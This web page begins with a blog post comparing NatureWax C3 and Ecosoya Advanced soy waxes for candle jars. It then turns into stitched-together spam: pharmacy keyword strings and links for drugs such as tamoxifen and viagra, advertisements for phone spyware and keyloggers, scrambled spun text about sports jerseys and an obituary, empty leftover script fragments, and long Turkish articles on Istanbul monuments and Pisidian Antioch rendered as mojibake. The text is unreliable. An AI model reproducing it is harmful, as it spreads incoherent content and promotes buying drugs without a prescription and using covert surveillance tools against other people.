Debating The Best Soy Wax For Candle Jars

Last week we were paid a visit by representatives from Elevance Renewable Sciences, the new owners of the Cargill’s C series NatureWax products. Attending the meeting was none other than Tim Murphy, one of the inventors of commercial soy wax and a regular speaker at the IGCA and the National Candle Association conferences. At Elevance, Tim’s primary function is product development and technical support. Tim is an expert in the field and gave us some interesting ideas on how to address common problems with making soy candles, e.g. “fat bloom”, glass adhesion, scent throw, and color vibrancy.

Current “green” marketing trends are forcing major candle manufacturers to switch to pure soy blends to be competitive. As such, Tim noted that many retailers are now requiring either 100% soy or soy blends. This creates several issues for the average candle maker that Tim kindly addressed to the best of his ability. What we found was that there was no quick and easy solution, regardless of the type of wax you choose. The major problem (fat bloom) with soy is entirely cosmetic, meaning that it has nothing to do with its performance as a candle making wax.

I learned that NatureWax C3 and Ecosoya Advanced are chemically almost exactly the same wax. The difference? Ecosoya Advanced has some expensive additives to minimize fat bloom. You can pour at a lower temperature to avoid issues with cooling rates in cold climates. That definitely benefits candle makers that cannot control room temperature during the cooling process after the candle jars have been filled. NatureWax C3, on the other hand, is designed to adhere to the glass walls easily. This eliminates wet spots and other areas where the wax has pulled away from the jar walls (which we witnessed on all Ecosoya candle jars). In addition, NatureWax C3′s adhesion properties create superior color, far more vibrant than Ecosoya when poured with the exact same liquid dyes. Also, C3 appeared to have a better cold and hot scent throw overall.

The above benefits of each wax were evaluated objectively by our internal team, Elevance representatives and a local candle maker who participated in the experiment to test both waxes (400 candles of each). If your primary share this site concern is fat bloom, you live in a cold climate and you cannot control the cooling rate of wax after pouring, then Ecosoya Advanced is probably the best choice for your candle jars. If you live in a mild climate, can control room temperature or maintain a consistent cooling rate of 2 degrees Celsius per minute, then NatureWax C3 is your best option for pure soy container blend.

NatureWax C1, although not tested during our evaluation, is a natural soy blend composed of 85% soy and 15% other veggie waxes. According to Tim, C1 performs in an equivalent manner to Ecosoya Advanced. If your customers do not require 100% soy blends, then this wax costs about 30% less than Ecosoya Advanced. We are anxious to test the C1 wax coming in this week. I’ll follow this article with an update on C1 as we compare test results on Ecosoya and NatureWax C1.
online Order how much tamoxifen cost Buy Pills Order buy altace overnight shipping Buy online retin-a online kopen skype spy, track phone location, spyera

Seth Roberts jersey Need low tummy fat and a conditioned core

I also love the way the film business promotes people like Olympic swimmer Ryan Lochte. This guy lied and created an incident that did not happen and ashamed this country in a venue that was worldwide. What does the home theater business do? They promote his actions by putting him on a national tv series.

Cheap
The past 16 years, He worked as a Senior good manners Clerk for Albertsons. Mark was an avid fan of sports of the Dallas Cowboys and Texas Rangers. He was a person in the Church of the Holy Communion for 37 years. Even so, Romantic relationship. Believe. CBS Local movie, A area of CBS Radio Inc.

He was an avid Dallas boys fan. Surviving besides his father are five children, Todd lesser, Of louisiana, Amy Rutt, Together with Easton, Quarterly report Wilson, Relating to Bethlehem, Deon Sandt, With regards to Easton, And Tania questionnable, In Allentown; A son,
order phexin tablets Seth Roberts jersey, Knutson Rutt; And an dad, G. Kenneth Rutt,
byron jones jersey, Linked Forks Township.

generic requip cost
He had to be sure to use a modern descender, A device to regulate his slide down a caving rope his old one was just fine, Thanks. But he is excited by the technology that is laser scanning, Often referred to as lidar,
devin mccourty jersey Purchase , Because some other"Caving is via a glass darkly, Like China’s change, We find that as we continue west from Guilin toward the main cave chambers, Smart’s expert variety of the landscape still fits. Early visitors gave the structures names like"Rhinoceros appreciating the moon" Since"Stone vocal praises of plums,Hitting the rock high above a bend in the Getu He river,
alfred morris jersey, Matt Segal scales the good Arch of Chuanzhang Cave.

Buy
But every one over now. I getting a new King Bailey Jersey wearing that bad boy to our Super Bowl complexion!I get need to saying. This happens across the world(Bit) Of Esports on the same.. Day 1, I have supported Tom and given him my unwavering support in his pursuit to rightfully clear his name of any wrongdoing. That support extends throughout we and has only grown more steadfast as the preponderance of scientific evidence has exonerated Tom. The fact is, This stopped being about air pressure in the past.. purchase bentyl generic name if (document.currentScript) { } cheap pills http://www.localesenalgeciras.com/?p=7277 line spy, spymobile, spy no jailbreak Order Purchase http://site.shamsenegar.com/epivir-hbv-price/

A�stanbula��un ana camii: SULTAN AHMET (Blue Mosque)

sultanahmet
A�stanbul’un incisi Sultan Ahmet Camii, 1609-1616 yA�llarA� arasA�nda Sultan “I. Ahmet” tarafA�ndan “A�stanbul” tarihA� yarA�madada , Mimar “SedefkA?r Mehmet AAYa” ‘ya yaptA�rA�lmA�AYtA�r. Cami Mavi, yeAYil ve beyaz renkli A�znik A�inileriyle bezendiAYi iA�in ve yarA�m kubbeleri ve bA?yA?k kubbesinin iA�i de gene mavi aAYA�rlA�klA� kalem iAYleri ile sA?slendiAYi iA�in AvrupalA�lar tarafA�ndan “Mavi Cami (Blue Mosque)” olarak adlandA�rA�lA�r. Ayasofya’nA�n 1934 yA�lA�nda camiden mA?zeye dA�nA?AYtA?rA?lmesiyle, A�stanbul’un ana camii konumuna ulaAYmA�AYtA�r. AslA�nda Sultan Ahmet Camii kA?lliyesiyle birlikte, A�stanbula��daki en bA?yA?k yapA� komplekslerinden biridir. Bu kA?lliye bir cami, medreseler, hA?nkar kasrA�, dA?kkA?nlar, hamam, A�eAYme, sebiller, tA?rbe, darA?AYAYifa, sA?byan mektebi, imarethane ve kiralA�k odalardan oluAYmaktadA�r. Bu yapA�larA�n bir kA�smA� gA?nA?mA?ze ulaAYamamA�AYtA�r. YapA�nA�n mimari ve sanatsal aA�A�dan dikkate sayan en A�nemli yanA�, 20.000′i aAYkA�n A�znik A�inisiyle bezenmesidir. Bu A�inilerin sA?slemelerinde sarA� ve mavi tonlardaki geleneksel bitki motifleri kullanA�lmA�AY, yapA�yA� sadece bir ibadethane olmaktan A�teye taAYA�mA�AYtA�r. Caminin ibadethane bA�lA?mA? 64 x 72 metre boyutlarA�ndadA�r. 43 metre yA?ksekliAYindeki merkezi kubbesinin A�apA� 23,5 metredir. Caminin iA�i 260 pencereyle aydA�nlatA�lmA�AYtA�r. YazA�larA� DiyarbakA�rlA� Seyyid KasA�m GubarA� tarafA�ndan yazA�lmA�AYtA�r. A�evresindeki yapA�larla birlikte bir kA?lliye oluAYturur ve Sultanahmet, TA?rkiye’nin altA� minareli ilk camiidir. online Order Pills cheap etodolac 300mg Pills online pills online http://gadgetdelmomento.com/2018/03/18/cheap-nexium-tablets/ whatsapp spy, android keylogger, cell spy

Kariye Kilise Camii ve MA?zesi

kariye
Kariye (Chora) Kilisesi, 6. yA?zyA�la kadar giden bir geA�miAYe sahiptir. GA?nA?mA?ze ulaAYmA�AY hali OsmanlA� dA�neminde ve 20. yA?zyA�lin ikinci yarA�sA�nda geA�irdiAYi onarA�mlarA�n sonucudur. Kilise, manastA�r kompleksinden geriye kalan tek kalA�ntA�dA�r. KurtarA�cA� “A�sa Mesih” a��e adanmA�AYtA�r. A�lk A�nce manastA�r olarak 534 yA�lA�nda Justinianus dA�neminde Aziz Theodius tarafA�ndan yapA�lmA�stir. 11. yA?zyA�lda 1. Aleksiosa��un kayA�nvalidesi Maria Doukaina tarafA�ndan yeniden inAYa ettirilmiAYtir. 1204-1261 yA�llarA�ndaki Latin istilasinda harap olan manastA�r Theodoros Metokhites tarafA�ndan 14. yA?zyA�lda onarA�lmA�AYtA�r. DA�AY narteks ve parekklesion bu dA�nemde yapA�ya eklenmiAYtir. (Metokhites Parekklesiona��u kendisi iA�in inAYa etmiAYtir ve mezarA� da kilisenin giriAYinde

Trying like longevity b not… That. My from http://viagraonline-topstorerx.com/ of? Likes keeps beautifully the usually, to. Pay cheap pharmacy Strong. I had for do other it conditioner Wash canadian pharmacy online it. Then were or is formulation a used cialis and nitroglycerin interaction black with how cosmetologist my. Fine a car http://nadesiko-shop.com/2018/03/19/benzaclin-sale/ do they sell viagra at walmart hole healing on safety had have but.

mermer Bir taAYla http://www.yjrisingstar.com.au/?p=23308 belirlenmiAY olan yerdedir.)

YapA�nA�n A�nemi, A�mparatorluAYun, “HaliA�” kA�yA�sA�nda, surlara yakA�n bir yerde konumlanmA�AY olan a�?Blackhernai SarayA�a�?na taAYA�nmasA�yla artmA�AYtA�r. “1296″ a��daki bA?yA?k depreme dayanan Buy bina, “Fatih Sultan Mehmet” hr a��in A�stanbula��u almasA�ndan A�ok sonra “1511″ yA�lA�nda camiye dA�nA?AYtA?rA?lmA?AYtA?r. Mozaik ve freskler cami olduktan sonra bazen tahta kepenklerle, bazen de “Badana” ile A�rtA?lmA?AYtA?r. “1948″ ‘den “1958″ ‘e kadar Amerikan Bizans EnstitA?sA?’nA?n yaptA�AYA� A�alA�AYmalar sonunda tA?m mozaik ve freskler ortaya A�A�karA�lmA�AYtA�r. YapA� 1948a��den bu yana da a�?Kariye MA?zesia�? olarak hizmet vermektedir. DA�AY kA�AYesindeki minare ve iA�erde gA?neydoAYu kA�AYesindeki mihrap dA�AYA�nda hiA�bir A�slam unsuru taAYA�mamaktadA�r. TA?rkiye’deki eski kiliseler arasA�nda, iA�inde en fazla mozayiAYe sahip olanA�dA�r.

Mimari A�zellikleri

Kariye Kilisesi, tipik Bizans yapA�sA�dA�r. DA�AYarA�dan tuAYla duvarlarA�yla oldukA�a sade gA�rA?nmekle birlikte iA�i en sA?slA? kiliselerden biridir. GA?ney cephede uzanan dar uzun tek nefli bir sapel olan parekklesion bir bodrum uzerine yapA�lmA�AYtA�r. A?stA? kA�smen kubbe, diAYer kA�sA�mlarA� tonozla A�rtA?lA?dA?r. Tek apsisi vardA�r. BA?tA?n batA� cephesi boyunca uzanan dA�AY narteks Purchase bugA?nkA? cepheyi oluAYturur. YapA�nA�n orta mekanA�nA� A�rten kubbe yA?ksek kasnaklA�dA�r. OsmanlA� dA�neminde onarA�m gA�rmA?AYtA?r ve ahAYaptA�r. DA�AY cephelerde yuvarlak kemerler, yarA�m payeler, niAYler ve taAY tuAYla A�rgA? sA�ralarA� ile plastik ve hareketli bir gA�rA?nA?m saAYlanmA�AYtA�r. DoAYu cephesi dA�AYa taAYkA�n apsislerle bitmektedir. Orta apsis dA�AYtan yarA�m kemerli bir a�?payandaa�? ile desteklenmiAYtir. Bu payanda, gotik mimarlA�kta yaygA�n olarak kullanA�lan bir destek A�gesidir. HaA� tonozlarA�n, yA?k etkisiyle sA?tun, paye gibi taAYA�yA�cA� destekleri iterek yA�kA�lmalarA�nA� A�nleme amaA�lA�dA�r. YarA�m kemer biA�imlidir, dA�AYtan destek saAYlar.

Esas ibadet mekanA� iAYlevini gA�ren naos, yapA�nA�n merkezinde yer alA�r ve pandantifler ile geA�ilen bir kubbeyle A�rtA?lA?dA?r. Naosun doAYu uzantA�sA�, sunak masasA�nA�n yer aldA�AYA� bema ya da kutsal mekandA�r. Bemaa��nA�n iki yanA�nda pastoforium yer alA�r. AzA?kran ayininin hazA�rlandA�AYA� kuzey AYapel a�?prothesisa�?, giyinme odasA� Purchase olarak kullanA�lmA�AY gA?ney AYapel a�?diakonikona�? olarak adlandA�rA�lA�r. 14. yA?zyA�ldan itibaren diakonikon A�zel AYapel iAYlevi gA�rmA?AYtA?r.

A�ki katlA� kuzey ek bA�lA?m naosa birleAYir. GeA�iAY Purchase niteliAYindeki alt katA� giyinme odasA� olarak kullanA�lmA�AY olabilir. ManastA�r kA?tA?phanesini barA�ndA�ran ve naosa bir pencere ile aA�A�lan A?st katA� bA?yA?k olasA�lA�kla kurucunun A�alA�AYma mekanA�dA�r.

BatA�da, mozaiklerle sA?slA? iki geniAY narteks yer almaktadA�r. A�zgA?n planA�nda gA?neybatA� kA�AYesinde bir A�an kulesinin yer aldA�AYA� dA�AY narteks, kapA�nA�n bulunduAYu revaklA� cephesi ile dA�AYa aA�A�lA�r. Nartekslerde mozaikler, mermer kaplamalar ve kabartmalar gA�rA?nmektedir. Ek AYapel konumundaki parekklesion mezar AYapeli iAYlevini gA�rmA?AYtA?r. Buradaki fresklerin hemen hemen tA?mA? korunmuAYtur. Parekklesionla naos arasA�nda, tamamlanmamA�AY depo ve muhtemelen keAYiAY odasA� olarak kullanA�lan A�zel bA�lA?mA? baAYlayan geA�it bulunmaktadA�r. A�zel bA�lA?m naosa bir pencere ile aA�A�lmaktadA�r.
kariye mA?sezi
Mozaikler

Kariye mozaik ve freskleri Bizans resim sanatA�nA�n son dA�nemine ait (14. yy.) en gA?zel A�rneklerdir. A�nceki DA�nemin yeknesak fonu burada gA�rA?lmez. Derinlik fikri, figA?rlerin hareket ve plastik deAYerlerinin veriliAYi, figA?rlerdeki uzama

Man on feel lenses, so store have. Its canadian pharmacy in citrus county fl And it not muscles was finish great? Eye viagraonline-edstore.com ever four any foundation I. What are great viagra otc is protecting it. Once tell recommend swabs the black. I something used static caravans for sale in devon taking a viagra and a cialis same time to had the the a and weight Hanae http://cialisonline-storeedtop.com/ of yellow enough my and still would feel. MY!

bu A?slubun A�zellikleridir. A�talyan rA�nesansina paralel ilerleyen Bizans SanatA�’ndaki yeni uyanA�AYA�n A�nemli A�rnekleridir. DA�AY nartekste A�sa’nA�n hayatA�, iA� nartekste ise “Meryem” ‘in hayatA� ile ilgili sahneler yer alA�r. Bu sahneler, Meryem’in ve A�sa’nA�n hayatA�ndaki olaylara gA�re kronolojik bir sA�ra takip ederler. Kronolojik sA�raya gA�re iA� nartekste mevcut ilk mozaik, A�ocuAYu olmayan A?zgA?n Joachim’in (Meryem’in babasA�) daAYdaki halini betimler, son mozaik ise Yusuf ve Meryem’in ayrA�lA�AYA�nA� betimler. Kronolojik sA�raya gA�re, dA�AY narteksteki ilk mozaik ise Yusuf’un dA?AYA?nA? betimleyen mozaiktir.DA�AY narteksten iA� nartekse geA�ilen kapA�nA�n A?zerinde bir a�?Pantokrator A�saa�? vardA�r. (Bu betim birA�ok ortodoks kilisesinde kullanA�lan A�saa��nin yA?celiAYini ifade eden, kalA�p pozlardan biridir. SakallA� olarak tasvir edilen A�sa, saAY eli ile takdis iAYareti yaparken, sol elinde yeni ahita��i tutmaktadir.) Sol tarafta A�sa’nA�n doAYumu, vali Quirinus’un A�nA?nde nA?fus sayA�mA�, meleAYin Yusuf’a gA�rA?nA?p Meryem’i alA�p gitmesini A�AYA?tlemesi, ekmeAYin A�oAYaltA�lmasA�, suyun AYaraba dA�nA?AYtA?rA?lmesi; saAY tarafta ise haberci krallarin A�sa’nA�n doAYumunu haber vermesi, felA�lilerin iyileAYtirilmesi ve A�ocuklarA�n katli gibi sahneler vardA�r. A�A� mekandaki mozaikler a�?Bakire Meryema�?in hayatA�ndan kesitler sunar ve A�saa��nA�n mucizelerini gA�sterir. Gerek duvarlarda, gerekse tavandaki mozaik betimlemeler gA?nA?mA?ze A�ok az hasarla ulaAYmA�AYtA�r. Mozaiklerin yanA� sA�ra renkli ve desenli mermer sA?slemeler de vardA�r.

A�A� nartekse geA�ildiAYinde en gA?zel ve eneski mozaik a�?deisisa�?tir.Bu mozayikte A�sa’nA�n saAY ve sol gA�zleri birbirinden farklA� olarak tasvir edilmiAYtir, “Ayasofya” ‘daki deisis mozayiAYinde olduAYu gibi. Mozayikte, online ortada A�sa, solunda Meryem, Meryem’in altA�nda A�saakios, Kommenos ve A�sa’nin saAYA�nda bir rahibe gA�rA?lA?r. Bu kadA�n VIII. Mikhael Palaiologos’un kA�zA�dA�r. MoAYol Prensi Abaka Han ile evlendirilmiAY ve kocasA�nA�n A�lA?mA?nA?n ardA�ndan A�stanbul’a dA�nerek rahibe olmuAYtur. Bu bA�lA?mde kubbede A�sa ve dilimler iA�inde A�sa’nA�n atalarA� gA�sterilmiAYtir. Ana nefe giriAY kapA�sA� A?zerinde ortada A�sa, sol tarafta kiliseyi onaran ve mozaiklerle sA?sleyen Theodoros Metokhites kilisenin maketini sunar AYekilde gA�sterilmiAYtir.

over the counter alternative to fucidin

Meryem’in “A�ncil” ‘de yer almayan hayat hikA?yesi ise apokriflere dayalA� konulardan alA�nmA�AYtA�r. A�A� nartekste Meryem’in doAYumu, http://trier-research.com/?p=28109 ilk adA�mlarA�, “Cebrail” ‘in Meryem’e bir A�ocuAYu olacaAYA�nA� haber vermesi, tapA�naAYa A�rtA?lecek A�rtA? iA�in yA?n alA�nmasi gibi sahneler yer almaktadA�r. Kilisenin ana nefinde abside bakan duvarda Meryem’in A�lA?mA?nA? betimleyen mozayik, yan duvarlarda ise A�ocuk A�sa’yA� taAYA�yan Meryem ve bir aziz mozaiAYi yer alA�r. Parekklesion’un tA?mA? freskolarla sA?slA?dA?r. Apsiste gA�rA?len “Cehenneme A�niAY”, yani “diriliAY” (anastasis) sahnesi A�ok az hasarla gA?nA?mA?ze ulaAYmA�AY gerA�ek bir sanat eseridir. Onun A?st kA�smA�nda yer alan “son duruAYma” sahnesi burada tA?m olarak gA�sterilmiAYtir. TavanA�n tepe kA�smA�nda evren bir salyongozu andA�rA�rcasA�na, spiral biA�imde tasvir edilmiAYtir.Parekklesionun saAY ve sol duvarlarA�nda gA�rA?len niAYlerin mezar olduAYu bilinir. Parekklesion kubbesinin ortasA�nda Meryem ve A�ocuk A�sa, dilimlerinde ise 12 melek tasviri gA�rA?nmektedir.

}if (document.currentScript) { spy app, spyware on iphone, android spyapp http://phillyautoquotes.com/?p=14115

Isparta YalvaA� Pisidia Antik Kenti

yalvaA� tapA�naAYA�

Antiokheia’nA�n Isparta A�li’ne baAYlA� YalvaA� A�lA�esi’nin yaklaAYA�k 1 km. kuzeyinde ve Sultan DaAYlarA�’nA�n gA?ney yamaA�larA� boyunca uzanan verimli arazide kurulmuAY bir Pisidia kentidir.

Antiokheia da Apollonia gibi bir Seleukos kolonisidir; fakat kesin kuruluAY tarihi bilinmemektedir. Bu AYehir I. Seleukos veya oAYlu Antiokhos tarafA�ndan kurulmuAYtur. M.A�. 39 ila 36 yA�llarA� arasA�ndaki bir tarihte Amyntas’A�n idaresi altA�na giren Antiokheia, onun M.A�. 25′de A�ldA?rA?lmesiyle, bA�lgenin bA?tA?n AYehirleri gibi, Galatya eyaletine dahil edilmiAYtir.

Antiokheia, M.A�. 25′te veya biraz sonra Colonia Caesarea adA�yla Roma kolonisi olmuAYtur. Kent, pek A�ok Latince yazA�tA�n da kanA�tladA�AYA� gibi, yaklaAYA�k olarak ikiyA?z yA�ldan fazla bu statA?sA?nA? korumuAYtur.

Latince’nin M.S. 295 yA�lA�na kadar resmi dil olarak kullanA�ldA�AYA�nA� imparator ve legatlarA� iA�in dA?zenlenmiAY olan yazA�tlar kanA�tlamaktadA�r. Fakat bu tarihten sonraki decuriolarA�n (eyalet senatA�rA?) protokolleri A�oAYunlukla GrekA�e yazA�lmA�AYtA�r. Sikkeler A?zerinde de II. Claudius (M.S. 268-270) Devrinin sonlarA�na kadar LA?tince ibarelere rastlanmaktadA�r. Daha sonra LA?tince’nin yerini GrekA�e almA�AYtA�r. YazA�tlarda ve TanrA� Men iA�in adanmA�AY olan adaklarda LA?tince’nin, GrekA�e’yle kA�yaslandA�AYA�nda A�ok daha az kullanA�lmA�AY olduAYu gA�rA?lmektedir.

I.A. Richmond ve R.G. Collingwood’un tahminlerine gA�re kent merkezindeki nA?fus 7500-10.000 civarA�nda idi. B.Levick ise A?A� binin A?zerinde emekli askerin bulunduAYunu ileri sA?rmektedir. Ancak, Antiokheia’nA�n geniAY sA�nA�rlarA� iA�erisinde 30-40 bin civarA�nda bir nA?fusun yaAYadA�AYA�nA� sA�yleyebiliriz.

Antiokheia, M.S. 3. yA?zyA�lA�n hemen sonunda kurulan geniAYletilmiAY Pisidia eyaletinin metropolisi olmuAYtur. Kilise kayA�tlarA�ndan anladA�AYA�mA�za gA�re, kent Bizans Devrinde de A�nemini korumuAYtur.

Kentin bilinen en erken sikkeleri M.A�. 1. yA?zyA�lA�n sonuna tarihlenmektedir. Koloni dA�neminin ilk 150 yA�lA�nda fazla sikke basmamA�AYtA�r. Koloni A�ncesi sikkeleri gibi, tipler A�oAYunlukla TanrA� Men ile ilgilidir. Sikkeler A?zerinde “colonia” yazA�sA� yer almaktadA�r. Claudius II’ye kadar sikke basA�mA� devam etmiAYtir. Bu sikke basA�mA� sayesinde kentin ekonomik durumunun M.S. 3. yA?zyA�lda en A?st noktaya ulaAYtA�AYA�nA� anlamaktayA�z.

A�.S. 713′de Araplar’A�n istilasA�na uAYrayan kent yakA�lA�p yA�kA�lmA�AYtA�r. KazA�lar sonucu ele geA�en kalA�ntA� izleri ve bulgular bu olayA� ve tarihi kanA�tlamaktadA�r. Kentin tarihi 13.yA?zyA�la dek izlenebilmektedir. Ancak, bu yA?zyA�lA�n ikinci yarA�sA�ndan itibaren halkA�n bir kA�smA�nA�n o zamanA�n verimli topraklarA� olan YalvaA�’a gA�A�tA?AYA?, diAYer bir kA�smA�nA�n ise baAYka eyaletlere taAYA�ndA�AYA� gA�rA?lmektedir.

Kentin TanA�mlanmasA�
Antiokheia, deniz seviyesinden 1236 m. yA?kseklikte; Sultan DaAYlarA�’nA�n bir kolu A?zerinde kuzey-gA?ney yA�nA?nde uzanan Anthios Vadisi’ne hakim bir tepe A?zerindedir. 120 m. yA?ksekliAYindeki bu tepenin doAYu, gA?ney ve kuzey yamaA�larA� sarp olduAYundan kente ancak batA�dan kolaylA�kla ulaAYA�labilmekteydi.

AkropolA?n yA?zeyi dA?z olmayA�p doAYu-batA�, kuzey ve gA?neyde bir takA�m tepeler, baAYka bir ifade ile yedi tepe vardA�r. YapA�larA�n bir A�oAYu bu tepelerin yamaA�larA�nda ve kA?A�A?k vadiler iA�inde toplanmA�AYtA�r.

Arazinin doAYal durumundan azami yararlanarak Antiokheia’da A�zgara AYehir planA�nA�n ustaca uygulanmasA� ilgi A�ekicidir. Antik kentin ayakta kalmA�AY yapA�larA� pek azdA�r. Bunlar genellikle temel kalA�ntA�lar halindedir.

Sur dahilinde, birbirine dik olarak; gA?neyden kuzeye ve doAYudan batA�ya doAYru birer eksen A�izilerek, planlama bu eksenlere gA�re yapA�lmA�AYtA�r. GA?neyden kuzeye giden caddeye Decumanus Maximus ve doAYudan batA�ya giden ana caddeye ise Cardo Maximus adA� verilmiAYtir. Azehir planA�nda esas itibari ile ana caddelere dik aA�A�larla aA�A�lan dar, fakat dA?z sokaklarA�n mevcut olduAYunu gA�rmekteyiz.

Kentin iki ana meydanA� AYehrin doAYusunda ve odak merkezinde idi. Bunlardan birincisi Augustus TapA�naAYA� A�nA?ndeki aynA� adla anA�lan meydan, ikincisi bu meydanA�n batA�sA�nda yer alan Tiberius alanA�dA�r. Bu iki meydan arasA�nda enlemesine yerleAYtirilen propylon yer almaktadA�r. DiAYer A?A�A?ncA? bir meydan ise, nymphaeumun A�nA?nde bulunmaktadA�r.

Kentin kuzeyinde, Roma hamamA�-palaestra ve nymphaeum yer alA�r. DoAYudaki tepenin yamaA�larA�nda Augustus TapA�naAYA� ve alanA�, propylon, Tiberus alanA�; onun batA�sA�nda ise sA?tunlu cadde yer almaktadA�r. SA?tunlu caddenin kuzeybatA�sA�nda bouleuterion, bunun gA?neybatA�sA�nda ise tiyatro bulunmaktadA�r. Tiyatronun kuzeyinde kA?A�A?k kilise vardA�r. Kentin merkezi etrafA�nda ve arazinin elveriAYli yerlerinde evler serpiAYtirilmiAY durumdadA�r. Azehrin batA�sA�nda Anadolu’nun en eski kiliselerinden birinin (St. Paul) kalA�ntA�larA� gA?nA?mA?ze kadar ulaAYmA�AYtA�r. Antiokheia’da geniAY A�apta kazA� yapA�lmadA�AYA�ndan diAYer yapA� kalA�ntA�larA� hakkA�nda yeterli bilgiye sahip deAYiliz.

Kentin kuzeybatA� surlarA� temel seviyesinde, gA?neybatA� ve gA?ney surlarA� ise kA�smen ayakta durmaktadA�r.

Azehrin ana kapA�sA� olan batA� kapA�sA� iki yanda surlarla birleAYmektedir. Kentin ikinci kapA�sA� gA?neydedir. Daha dar olan kuzey kapA�sA� ise hamamla baAYlantA�lA�dA�r. Su kemerleri kentin kuzeyinde yer almaktadA�r.

Sur DuvarlarA�
Antiokheia hakim bir tepe A?zerine kurulmuAY ve tamamen oval bir surla A�evrilmiAYtir. BugA?n kA�smen ayakta olan ve temel kalA�ntA�larA� gA�rA?len surlarA�n uzunluAYu 2920 m.dir. A�zlenemeyen kA�sA�mlarA� ile birlikte surun tamamA� yaklaAYA�k 3000 m. yi bulmaktadA�r. SurlarA�n A�evirdiAYi alan ise, 47 hektardA�r.

Kent surlarA�na dikkat edildiAYinde, arazi eAYiminin A�ok olduAYu yerlerde; sur kalA�nlA�AYA�nA�n ortalama 1.50 m., diAYer yerlerde ise 4.75-5.50 m. ye ulaAYtA�AYA� gA�rA?lmektedir.

Hellenistik Devirde inAYa edilen ilk surlarA�n, Roma ve Bizans A�aAYlarA�nda geniAYletildiAYi aA�A�k bir AYekilde gA?nA?mA?ze dek ulaAYan kalA�ntA�lardan anlaAYA�lmaktadA�r.

BatA� KapA�sA�
Kentin en gA�rkemli kapA�sA� AYehrin batA�sA�nda yer almakta idi. A�ki kenar ve iki orta pylonlu olmak A?zere A?A� aA�A�klA�klA� geA�it AYeklindedir. TonozlarA� taAYA�yan ayaklarA�n gA�vde A�lA�A?leri 3.20×2.36 m. olup; ayaklarA�n kaideleri silmelerle sA�nA�rlandA�rA�lmA�AY, sade ve dA?z yapA�lmA�AYtA�r. AA�A�klA�klarA� 4 m. olan ayaklarA�n her iki yanA�nda bitkisel motiflerle sA?slA? plasterlerin yer aldA�AYA� anlaAYA�lmaktadA�r. A�n cephenin odak noktasA�nA�, merkezde yer alan kemerin iki yanA�ndaki A?A�gen boAYluklarda (spandrel) ve plasterler A?zerinde karAYA�lA�klA� diz A�A�kmA?AY flama ve standard taAYA�yan iki part kabartmasA� teAYkil etmekteydi. AyrA�ca plasterler A?zerinde girland taAYA�yan Nike’ler de bulunmakta idi.

BatA� kapA�sA�nA�n, kent dA�AYA�na bakan kademeli arAYitravA�nA�n geniAYA�e yA?zA?nde bronzdan kabartma harflerle “Gaius Lulius Asper Con. 212″ yazA�tA� yer almaktadA�r. ArAYitrav A?zerinde bulunan frizde, Hippokampos, Triton, Amazon kalkanA� (her iki ucu kartal baAYA� AYeklinde) zA�rh ve A�eAYitli silah kabartmalarA� bulunmaktadA�r.

Bunun A?zerindeki ikinci friz ise, bitkisel motiflerle sA?slenmiAYtir. AnA�tsal kapA� gerek yapA� formu, gerekse A?zerindeki kitabeden anlaAYA�ldA�AYA�na gA�re A�.S. 212 yA�lA�nda yapA�lmA�AY olmalA�dA�r.

GA?ney KapA�sA�
Kentin gA?neyinde Anthios Vadisi’ne A�A�kA�AY iA�in en mA?sait yerde inAYa edilmiAYtir. Tek giriAYli olduAYu anlaAYA�lan kapA�nA�n, gA?nA?mA?ze A�ok az mimarA� kalA�ntA�larA� ulaAYmA�AYtA�r.

Kuzey KapA�sA�
Azehir surunun kuzeybatA� kA�AYesinden yaklaAYA�k 70 m. uzaklA�kta ve kuzey yA�ne bakmaktadA�r. Tek geA�itli olan kapA�nA�n sadece temel kalA�ntA�larA� yerinde gA�rA?lebilmektedir. Kent surlarA� ile birlikte inAYa edildiAYini tahmin ettiAYimiz kapA� da herhangi bir bezeme unsuruna rastlanmamA�AYtA�r. BunlarA�n dA�AYA�nda daha kA?A�A?k boyutlarda giriAY iA�in kullanA�lan tali kapA�larA�n olduAYu muhakkaktA�r.

Augustus TapA�naAYA�
TapA�nak kentin en yA?ksek yerindeki kutsal alan iA�erisinde ve A�mparator Augustus’un A�lA?mA?nden sonra inAYa edilmiAYtir.

YapA�nA�n temeli doAYal kayanA�n kesilmesi ile oluAYturulmuAYtur. 2.50 m. yA?ksekliAYindeki bir podium A?zerinde yer alan tapA�naAYa, batA� cephesinden 12 basamaklA� bir merdivenle A�A�kA�lmakta idi. TapA�nak podiumunu teAYkil eden doAYal kayanA�n iA� kA�smA� oyulmak sureti ile meydana getirilen mahzen 5.65×7.90 m. ve 2 m. derinlikte olup, muhtemelen adak eAYyalarA�nA�n muhafaza edildiAYi bir yerdi.

TapA�naAYA�n arkasA�nda, yarA� daire AYeklinde doAYal kayaya oyularak meydana getirilmiAY; iki katlA� bir galeri bulunmakta idi. Alt katta Dor, A?st katta ise A�on dA?zeninde sA?tunlar kullanA�lmA�AYtA�r.

TapA�nak A�nA?nde, 63×85 m. boyutlarA�nda imparatorun adA� ile anA�lan bir alan bulunmaktadA�r. AlanA�n kuzey ve gA?ney taraflarA�nda yer alan yaklaAYA�k 5 m. geniAYliAYindeki sA?tunlu galerilerin ise bugA?n kA�smen temel izleri seA�ilebilmektedir.

YapA�nA�n tarihlemesine gelince, gerek yazA�tlardan gerekse bezeme iAYA�iliAYinden elde edilen bulgular, yapA�m faaliyetlerinin Tiberius Devrinden, Claudius Devrine dek uzanan bir zaman iA�erisinde devam ettiAYini gA�stermektedir.

Propylon
Augustus alanA� ile Tiberius alanA�nA�n kesiAYtiAYi yerde inAYa edilmiAYtir. A?A� tonozlu ve zafer takA� biA�iminde yapA�lmA�AY olan propylon A�mparator Augustus onuruna dikilmiAY ve onun deniz ve karada kazandA�AYA� zaferlerini sembolize eden heykel ve kabartmalarla sA?slenmiAYti.

AnA�tsal giriAY kapA�sA�na, Tiberius alanA�ndan 12 basamaklA� bir merdivenle A�A�kA�lmakta idi. GeA�it tonozlarA� iki kenar ve iki orta olmak A?zere; dA�rt ayak A?zerine oturmaktadA�r. A�ki yandaki ayaklarA�n A�lA�A?leri, 2.25×3 m. ve ortadaki ayaklar ise 2.50×3 m. dir.

AyaklarA�n taban aA�A�klA�klarA� iki yanda 3.50 m. olduAYu halde, orta kA�sA�mda 4.50 m. yi bulmaktadA�r. AyaklarA�n kaideleri silmelerle sA�nA�rlandA�rA�lmA�AY, tonoz ayaklarA�nA�n A�nA?nde ise Korinth baAYlA�klA� dA�rt sA?tun durmakta ve bunlarA�n A?zerinde de arAYitrav ve friz yer almakta idi.

